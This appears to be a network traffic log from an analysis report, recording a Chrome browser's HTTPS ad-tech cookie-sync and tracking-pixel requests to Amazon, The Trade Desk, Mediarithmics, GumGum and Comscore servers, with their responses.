Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:30 UTC	655	OUT	GET /ecm3?ex=bidswitch.com&id=0a0d1ff8792a1f8ccac2f97b7225f511 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:31 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:31 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: W1FQQ44N72ZBBPHAM5SW Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:31 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
421	192.168.2.6	50413	54.36.150.187	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:31 UTC	650	OUT	GET /input?key=APX&apx_uid=6116765264039870456&opid=apx&ops=&utidl=&action=GET_ID&etid=&domid=1109 HTTP/1.1 Host: cookie-matching.mediarithmics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:31 UTC	765	IN	HTTP/1.1 303 See Other location: https://s.amazon-adsystem.com/ecm3?ex=mediarithmics&id=vec-89513437004 set-cookie: mics_vid=89513437004; Max-Age=31536000; Expires=Sat, 24 May 2025 22:46:31 GMT; SameSite=None; Path=/; Domain=.mediarithmics.com; Secure; HTTPOnly set-cookie: mics_uaid=web:1:9b37b19a-f8fb-4029-af46-0b7d31048d20; Max-Age=31536000; Expires=Sat, 24 May 2025 22:46:31 GMT; SameSite=None; Path=/; Domain=.mediarithmics.com; Secure; HTTPOnly set-cookie: mics_lts=1716590791188; Max-Age=31536000; Expires=Sat, 24 May 2025 22:46:31 GMT; SameSite=None; Path=/; Domain=.mediarithmics.com; Secure; HTTPOnly content-length: 0 date: Fri, 24 May 2024 22:46:31 GMT strict-transport-security: max-age=63072000;includeSubDomains;preload connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
422	192.168.2.6	50419	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:31 UTC	655	OUT	GET /ecm3?ex=openx.com&id=8c4dc9dd-8927-cb0f-00e8-a46289e43664 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:31 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:31 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: XAWH7BJ3G0N49E8CK85G Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:31 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
423	192.168.2.6	50420	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:31 UTC	636	OUT	GET /ecm3?ex=doubleclick.net&google_error=3 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:31 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:31 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: T8NWKF4JT65B18AEPMSX Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:31 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
424	192.168.2.6	50421	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:31 UTC	666	OUT	GET /ecm3?id=y-goL7EHNE2pFaKpW2Ux_9vNNKPSAFiysXjOrE~A&status=OK&ex=gemini HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:31 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:31 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: DKYP4XQ0FVQ6MJZJGPVJ Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:31 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
425	192.168.2.6	50417	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:31 UTC	1253	OUT	GET /track/up?adv=pcl8biy&ref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&upid=4b42dtd&upv=1.1.0&paapi=1 HTTP/1.1 Host: insight.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFGAUgAigDMgsIosGa_cGT_jwQBTgBQgQiAggBWgdwY2w4Yml5YAE.
2024-05-24 22:46:31 UTC	889	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:31 GMT Content-Type: text/html Content-Length: 829 Connection: close server: Kestrel set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:31 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFEhYKB3N2eDl0NTASCwjq4bW1rJP-PBAFEhkKCmxpdmVpbnRlbnQSCwj4kra1rJP-PBAFEhYKB3VlZDNrdnISCwimxba1rJP-PBAFGAUoAzILCJ6juOLCk_48EAU4AUIEIgIIAVoHcGNsOGJpeWAB; expires=Sat, 24 May 2025 22:46:31 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:31 UTC	829	IN	Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6a 73 2e 61 64 73 72 76 72 2e 6f 72 67 2f 75 6e 69 76 65 72 73 61 6c 5f 70 69 78 65 6c 2e 31 2e 31 2e 30 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 75 6e 69 76 65 72 73 61 6c 50 69 78 65 6c 43 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 67 6c 6f 62 61 6c 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <html><head> <script type="text/javascript" src="https://js.adsrvr.org/universal_pixel.1.1.0.js"></script></head><body> <div id="universalPixelContainer"> <script type="text/javascript"> (function(global) {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
426	192.168.2.6	50422	34.247.233.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:31 UTC	645	OUT	GET /usersync?b=amz&i=-sb2_WCnTdmJBVEKboSJcw&n=y&r=https://s.amazon-adsystem.com/ecm3?ex=gumgumHMT&id=[UID] HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:31 UTC	155	IN	HTTP/1.1 400 Date: Fri, 24 May 2024 22:46:31 GMT Content-Type: text/html;charset=utf-8 Content-Length: 435 Connection: close Content-Language: en
2024-05-24 22:46:31 UTC	435	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 400 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
427	192.168.2.6	50425	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:31 UTC	523	OUT	GET /ecm3?id=e11e83fbcf382d98697e6b3cc74afa0&ex=freewheel.tv&gdpr={gdpr}&gdpr_consent={gdpr_consent}&userId=q4pbDMm1SEWkCQa7gNP-yA HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:31 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:31 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: F9B0HEB216809XCMWQNK Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:31 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
428	192.168.2.6	50423	18.65.39.70	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:31 UTC	778	OUT	GET /p2?c1=9&c2=27552257&r=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dcomscore.com%26id%3D%25AX_UUID%25 HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=1813866b81e56349cae653d1716590790; PID=14E3866b82009349cae638a1716590790; XID=1813866b81e56349cae653d1716590790
2024-05-24 22:46:31 UTC	437	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Fri, 24 May 2024 22:46:31 GMT Location: https://s.amazon-adsystem.com/ecm3?ex=comscore.com&id=f6a32d2159cd843527c203721a6aa167 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 9835af751c15612a813bbc131d2ce1e6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS1-P1 X-Amz-Cf-Id: GrkarmfwDDpMUAGp5HPCYAlCbtFcqv4dfphjLAVWj6r9dlNwyaL8Fg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
429	192.168.2.6	50426	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:31 UTC	645	OUT	GET /ecm3?ex=tripleliftHMT&id=4311655648632522917084 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:31 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:31 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: BW90EFFZ1VDYE81K748V Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:31 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
430	192.168.2.6	50428	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:31 UTC	455	OUT	GET /ecm3?ex=bidswitch.com&id=0a0d1ff8792a1f8ccac2f97b7225f511 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:31 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:31 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 12EA3C3DYBK736VPXRRP Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:31 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
431	192.168.2.6	50430	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:31 UTC	455	OUT	GET /ecm3?ex=openx.com&id=8c4dc9dd-8927-cb0f-00e8-a46289e43664 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:31 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:31 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: Y502ZNYEGD84CGTCWWCR Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:31 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
432	192.168.2.6	50431	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:31 UTC	436	OUT	GET /ecm3?ex=doubleclick.net&google_error=3 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:31 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:31 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 9AXCVSBM10N58366EJVT Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:31 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
433	192.168.2.6	50433	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:31 UTC	466	OUT	GET /ecm3?id=y-goL7EHNE2pFaKpW2Ux_9vNNKPSAFiysXjOrE~A&status=OK&ex=gemini HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:31 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:31 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: TWZB6WD5K0A3AR59CCE3 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:31 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
434	192.168.2.6	50436	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:31 UTC	638	OUT	GET /ecm3?ex=mediarithmics&id=vec-89513437004 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:32 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:31 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: RFW8D5BHC25YDSNJEHY8 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:32 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

